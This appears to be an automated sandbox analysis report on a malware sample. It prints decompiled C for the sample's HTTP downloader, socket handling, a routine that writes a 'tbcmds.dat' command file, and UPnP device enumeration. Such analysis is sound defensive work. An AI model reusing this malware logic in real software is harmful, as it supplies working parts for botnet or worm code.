DeleteCriticalSection.KERNEL32(00000020,?,?,?,0040EC84), ref: 0040E206

Strings

PCOI, xrefs: 0040E0E8
ilci, xrefs: 0040E10B

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 91e1793f966389e5c05c026e5a2b2959d1c39894ae16f0b550b690b40fcb3971
Instruction ID: 4e090b2b2d95b5b5db58c8e8021d4e4c0217c2d5e17fa086addfc70fe82b675d
Opcode Fuzzy Hash: 91e1793f966389e5c05c026e5a2b2959d1c39894ae16f0b550b690b40fcb3971
Instruction Fuzzy Hash: 6E319871500705BBD7109F71EC48F97B7A8BF09300F048A2EE959A7691C778F9A4CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040C260 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040C260(char* _a4, char** _a8) {
				char _v260;
				char _v772;
				long _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				void _v1876;
				long _v1880;
				void* _t91;
				void* _t92;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t92 = _t91 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA(0, 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "GET",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							if(HttpSendRequestA(_v848, 0, 0, 0, 0) != 0) {
								if(_a8 == 0) {
									_v776 = 1;
								} else {
									_v852 = 0;
									while(1 != 0) {
										_t87 = _v848;
										if(InternetReadFile(_v848,  &_v1876, 0x400,  &_v1880) != 0 && _v1880 != 0) {
											_v776 = E00408B60(_v776, _t87, _v776,  &(_v852[_v1880]));
											memcpy( &(_v852[_v776]),  &_v1876, _v1880);
											_t92 = _t92 + 0x14;
											_v852 =  &(_v852[_v1880]);
											continue;
										}
										break;
									}
									 *_a8 = _v852;
								}
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

APIs

memset.NTDLL ref: 0040C288
InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
memcpy.NTDLL(00000000,?,00000000), ref: 0040C41A
InternetCloseHandle.WININET(00000000), ref: 0040C457
InternetCloseHandle.WININET(00000000), ref: 0040C464
InternetCloseHandle.WININET(00000000), ref: 0040C471

Strings

GET, xrefs: 0040C34B
<, xrefs: 0040C290

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction ID: fb11e20dfced737966d96b67562c2227f08ee783dca279ae1717ab20ae365a52
Opcode Fuzzy Hash: dab37fe1cf5ad5345423841208ea45a88af8b8a36c3041dfe8d9034034847e97
Instruction Fuzzy Hash: 44513EB1941228ABDB36CB50CC95BE973BCBB44705F0081E9A60DAA2C0D7B96FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC90 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040BC90(LONG* _a4, intOrPtr _a8) {
				int _v8;
				long _v12;
				LONG* _v16;
				signed char _v17;
				long _v24;
				signed int _v28;
				signed int _t57;
				intOrPtr _t80;

				_v8 = GetThreadPriority(GetCurrentThread());
				SetThreadPriority(GetCurrentThread(), 0xfffffffe);
				_v12 = 0;
				if(_a4 != 0) {
					_v16 = _a4;
					if(InterlockedExchangeAdd(_v16, 0) > 0) {
						_v17 = 0 | _a8 != 0xffffffff;
						while(1 != 0) {
							_v24 = 0;
							EnterCriticalSection( &(_v16[1]));
							_v28 = 0;
							while(_v28 <  *_v16) {
								if( *(_v16[7] + _v28 * 4) != 0) {
									_t57 = WaitForSingleObject( *(_v16[7] + _v28 * 4), 0);
									asm("sbb eax, eax");
									_v24 =  ~_t57 + 1 + _v24;
								} else {
									_v24 = _v24 + 1;
								}
								_v28 = _v28 + 1;
							}
							LeaveCriticalSection( &(_v16[1]));
							if(_v24 !=  *_v16) {
								if((_v17 & 0x000000ff) == 0) {
									L15:
									Sleep(1);
									continue;
								} else {
									_t80 = _a8 - 1;
									_a8 = _t80;
									if(_t80 != 0) {
										goto L15;
									} else {
									}
								}
							} else {
								_v12 = 1;
							}
							goto L16;
						}
					}
				}
				L16:
				SetThreadPriority(GetCurrentThread(), _v8);
				return _v12;
			}

APIs

GetCurrentThread.KERNEL32 ref: 0040BC96
GetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BC9D
GetCurrentThread.KERNEL32 ref: 0040BCA8
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BCAF
InterlockedExchangeAdd.KERNEL32(000000FF,00000000), ref: 0040BCD2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040BD07
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040BD52
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040BD6E
Sleep.KERNEL32(00000001), ref: 0040BD9E
GetCurrentThread.KERNEL32 ref: 0040BDAD
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF), ref: 0040BDB4

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction ID: 7471dcba010468c66186aef50ce52d9a71631389d56eaee9496ec156eb60796e
Opcode Fuzzy Hash: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction Fuzzy Hash: E7414E74D00209EFDB14CFA4D848BAEBB75FF44305F20C16AE906A7380D7789A81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E840 Relevance: 13.6, APIs: 9, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040E840(void* __eax, long __ebx, void* __ecx, short _a4, short _a6) {
				long _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __esi;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t73;
				void* _t106;
				void* _t108;

				_t108 = __eax;
				_t106 = __ecx;
				if(_a4 != 0 || __ebx == 0) {
					InterlockedDecrement(_t108 + 0x14);
					_a4 = 1;
					_t59 =  *((intOrPtr*)(_t106 + 0x260));
					 *((char*)(_t106 + 0x275)) = 1;
					_a6 = 0;
					__imp__#21(_t59, 0xffff, 0x80,  &_a4, 4);
					__imp__#3( *((intOrPtr*)(_t106 + 0x260)));
					 *((intOrPtr*)(_t106 + 0x260)) = 0xffffffff;
					return _t59;
				}
				InterlockedExchange(_t106 + 4, E0040BE60());
				_t64 =  *((intOrPtr*)(_t108 + 0x18));
				if(_t64 == 0) {
					if( *((char*)(_t106 + 0x275)) == 0) {
						 *((intOrPtr*)(_t108 + 0x28)) =  *((intOrPtr*)(_t108 + 0x28)) + __ebx;
						if( *((intOrPtr*)(_t108 + 0x28)) >=  *((intOrPtr*)(_t108 + 0x24))) {
							InterlockedDecrement(_t108 + 0x14);
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v8 =  *((intOrPtr*)(_t108 + 0x30));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v4 =  *((intOrPtr*)(_t108 + 0x28));
							return E0040E220(2, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
						} else {
							 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t108 + 0x20)) + __ebx;
							 *((intOrPtr*)(_t108 + 0x1c)) =  *((intOrPtr*)(_t108 + 0x1c)) - __ebx;
							_push(_t106);
							return E0040E5C0(_t108);
						}
					} else {
						return InterlockedDecrement(_t108 + 0x14);
					}
				} else {
					_t73 = _t64 - 1;
					if(_t73 != 0) {
						L14:
						return _t73;
					} else {
						if( *((intOrPtr*)(_t106 + 0x275)) == _t73) {
							InterlockedDecrement(_t106 + 0x21c);
							InterlockedExchangeAdd( *((intOrPtr*)(_t106 + 0x27c)) + 0x44, __ebx);
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v8 = _t106 + 8;
							_v4 = __ebx;
							E0040E220(3, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
							_t73 = E0040E7D0(_t106);
							if(_t73 != 0) {
								goto L14;
							} else {
								 *((char*)(_t106 + 0x275)) = 1;
								return _t73;
							}
						} else {
							return InterlockedDecrement(_t106 + 0x21c);
						}
					}
				}
			}

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 0040E866
InterlockedDecrement.KERNEL32(?), ref: 0040E890
InterlockedDecrement.KERNEL32(?), ref: 0040E8A3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 0040E8B4
InterlockedDecrement.KERNEL32(?), ref: 0040E93B
InterlockedDecrement.KERNEL32(?), ref: 0040E9D6
setsockopt.WS2_32 ref: 0040EA0C
closesocket.WS2_32(?), ref: 0040EA19

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL(00409E35), ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL(00409E35,?), ref: 0040BE78

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 4dfa08af28426b4d1d77860e0f1456d557a2ffbbd5efd9c9b0045f898d83f82c
Instruction ID: b9f556da3bb5aac27c1329fbefbdde51c01563ae05ed193aa0a017dd72204b88
Opcode Fuzzy Hash: 4dfa08af28426b4d1d77860e0f1456d557a2ffbbd5efd9c9b0045f898d83f82c
Instruction Fuzzy Hash: D951BD75608701ABC704DF29D888B97FBE4BF88314F008A2EE49D93361D775A558CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00404970 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 177
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00404970(intOrPtr _a12, intOrPtr _a16) {
				signed int _v5;
				void* _v12;
				signed int _v13;
				signed int _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				signed char _t76;
				void* _t79;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char _t91;
				signed int _t141;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t169;

				_v5 = 0;
				EnterCriticalSection(0x416398);
				_t111 = _a12;
				_t76 = E0040B270(_a12, _a16);
				_t159 = _t158 + 8;
				if((_t76 & 0x000000ff) != 0) {
					_t79 = E0040B210(_t111, _a12);
					_t160 = _t159 + 4;
					_v12 = _t79;
					if(_v12 != 0) {
						_v5 = 1;
						_v13 = 0;
						_v20 = 0;
						while(1) {
							_t169 = _v20 -  *0x4163b4; // 0x0
							if(_t169 >= 0) {
								break;
							}
							_v24 = _v20 * 0x110 +  *0x4163b0;
							if( *((intOrPtr*)(_v24 + 4)) ==  *((intOrPtr*)(_v12 + 4))) {
								memcpy(_v24, _v12, 0x40 << 2);
								E00408C70( *((intOrPtr*)(_v24 + 0x108)));
								 *((intOrPtr*)(_v24 + 0x108)) = E00408CE0(_a12, _a16);
								 *((intOrPtr*)(_v24 + 0x10c)) = _a16;
								E00408C70( *((intOrPtr*)(_v24 + 0x100)));
								 *((intOrPtr*)(_v24 + 0x104)) = _a16 - 0x100;
								 *((intOrPtr*)(_v24 + 0x100)) = E0040AB80( *((intOrPtr*)(_v24 + 0x104)), _v24 + 0x14, 0x14, _a12 + 0x100,  *((intOrPtr*)(_v24 + 0x104)));
								_push( *((intOrPtr*)(_v24 + 8)));
								E00405C90( *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 4)),  *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 0x104)));
								_t160 = _t160 + 0x3c;
								_v13 = 1;
							} else {
								_v20 = _v20 + 1;
								continue;
							}
							break;
						}
						__eflags = _v13 & 0x000000ff;
						if((_v13 & 0x000000ff) == 0) {
							_t91 = E004044E0(_a16, _v12, _a12, _a16, 1);
							_t160 = _t160 + 0x10;
							__eflags = _t91 & 0x000000ff;
							if((_t91 & 0x000000ff) == 0) {
								 *0x4163b4 = 0;
								_v5 = 0;
							}
						}
						E00408C70(_v12);
						__eflags = _v5 & 0x000000ff;
						if((_v5 & 0x000000ff) != 0) {
							_v28 = CreateFileW("C:\Users\Alvin\tbcmds.dat", 0x40000000, 0, 0, 2, 2, 0);
							__eflags = _v28 - 0xffffffff;
							if(_v28 != 0xffffffff) {
								_v32 = 0;
								while(1) {
									__eflags = _v32 -  *0x4163b4; // 0x0
									if(__eflags >= 0) {
										break;
									}
									_t87 =  *0x4163b0; // 0x0
									_t88 =  *0x4163b0; // 0x0
									WriteFile(_v28,  *(_t88 + 0x108 + _v32 * 0x110),  *(_t87 + 0x10c + _v32 * 0x110),  &_v36, 0);
									_t141 = _v32 + 1;
									__eflags = _t141;
									_v32 = _t141;
								}
								FlushFileBuffers(_v28);
								CloseHandle(_v28);
							}
						}
					}
				}
				LeaveCriticalSection(0x416398);
				return _v5;
			}

APIs

EnterCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404981
CreateFileW.KERNEL32(C:\Users\user\tbcmds.dat,40000000,00000000,00000000,00000002,00000002,00000000,?,?,?,?,00000000,0040A547,006A0266), ref: 00404B30
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000,?,?,?,?,00000000), ref: 00404B92
FlushFileBuffers.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404B9E
CloseHandle.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404BA8
LeaveCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404BB3

Strings

C:\Users\user\tbcmds.dat, xrefs: 00404B2B

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWrite
String ID: C:\Users\user\tbcmds.dat
API String ID: 2945370292-4184261965
Opcode ID: 5868cecfdd3791d316695361ffbda128d435a2b0cb74ad37e99325d89feeb4cf
Instruction ID: 17ab94b32ecbdd43ae5be3672dc601cffb9a037549fc2dffe68e9228f76f24ff
Opcode Fuzzy Hash: 5868cecfdd3791d316695361ffbda128d435a2b0cb74ad37e99325d89feeb4cf
Instruction Fuzzy Hash: 487182B5A00109ABCB04CF94D985FEFB7B5FB88304F148169EA05B7381C779E941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C8E0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"device") == 0) {
									_t65 = E0040C200(_v20, L"deviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

device, xrefs: 0040C993
deviceType, xrefs: 0040C9A6

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction ID: 91ab58cec92addcf45ea7f885c8d98816f20cb839f54337aae792cd6c89d1592
Opcode Fuzzy Hash: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction Fuzzy Hash: D941E975A0020ADFCB04DF98D894BAFB7B5BF48304F108269E515A7390D778AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040C700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C700(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"service") == 0) {
									_t65 = E0040C200(_v20, L"serviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

serviceType, xrefs: 0040C7C6
service, xrefs: 0040C7B3

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction ID: 7b8bcaea6bed01b8a99884d554dfbf2528ef8f0724b329980c1be25b89f5103a
Opcode Fuzzy Hash: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction Fuzzy Hash: 3641FF75A0020ADFCB04EF98C884BAFB7B5BF48305F108269E515A7390D7789E85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF90 Relevance: 10.6, APIs: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040DF90(intOrPtr __eax, void* _a4) {
				void* __esi;
				intOrPtr _t20;
				long _t28;
				long _t37;
				intOrPtr _t45;
				struct _CRITICAL_SECTION* _t48;
				long _t49;
				void* _t53;
				void* _t54;
				void* _t55;

				_t53 = _a4;
				_t45 = __eax;
				if(_t53 != 0xffffffff) {
					_t48 = __eax + 0x20;
					_t37 = 0;
					EnterCriticalSection(_t48);
					_t20 =  *((intOrPtr*)(_t45 + 0x38));
					if(_t20 != 0) {
						while( *((intOrPtr*)(_t20 + 0x260)) != _t53) {
							_t20 =  *((intOrPtr*)(_t20 + 0x280));
							if(_t20 != 0) {
								continue;
							} else {
							}
							goto L7;
						}
						_t37 = 1;
					}
					L7:
					LeaveCriticalSection(_t48);
					if(_t37 == 0) {
						_t49 = E00408B00(0x284);
						_t55 = _t54 + 4;
						if(_t49 == 0) {
							L13:
							E00409600(_t53);
							return _t49;
						} else {
							_t7 = _t49 + 0x264; // 0x264
							 *_t49 = 0x69636c69;
							 *(_t49 + 0x260) = _t53;
							_a4 = 0x10;
							__imp__#5(_t53, _t7,  &_a4);
							if(CreateIoCompletionPort( *(_t49 + 0x260),  *(_t45 + 8), _t49, 0) !=  *(_t45 + 8)) {
								E00408C70(_t49);
								_t55 = _t55 + 4;
								_t49 = 0;
								goto L13;
							} else {
								_t28 = E0040BE60();
								_t13 = _t49 + 4; // 0x4
								InterlockedExchange(_t13, _t28);
								_t14 = _t49 + 0x244; // 0x244
								_t15 = _t49 + 8; // 0x8
								 *((intOrPtr*)(_t49 + 0x27c)) = _t45;
								 *((intOrPtr*)(_t49 + 0x224)) = 0x200;
								 *((intOrPtr*)(_t49 + 0x228)) = _t15;
								InitializeCriticalSection(_t14);
								InterlockedIncrement(_t45 + 0x3c);
								E0040DEB0(_t49);
								return _t49;
							}
						}
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,0040E49B,00000000), ref: 0040DFAA
LeaveCriticalSection.KERNEL32(?,?,?,0040E49B,00000000), ref: 0040DFCE

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd
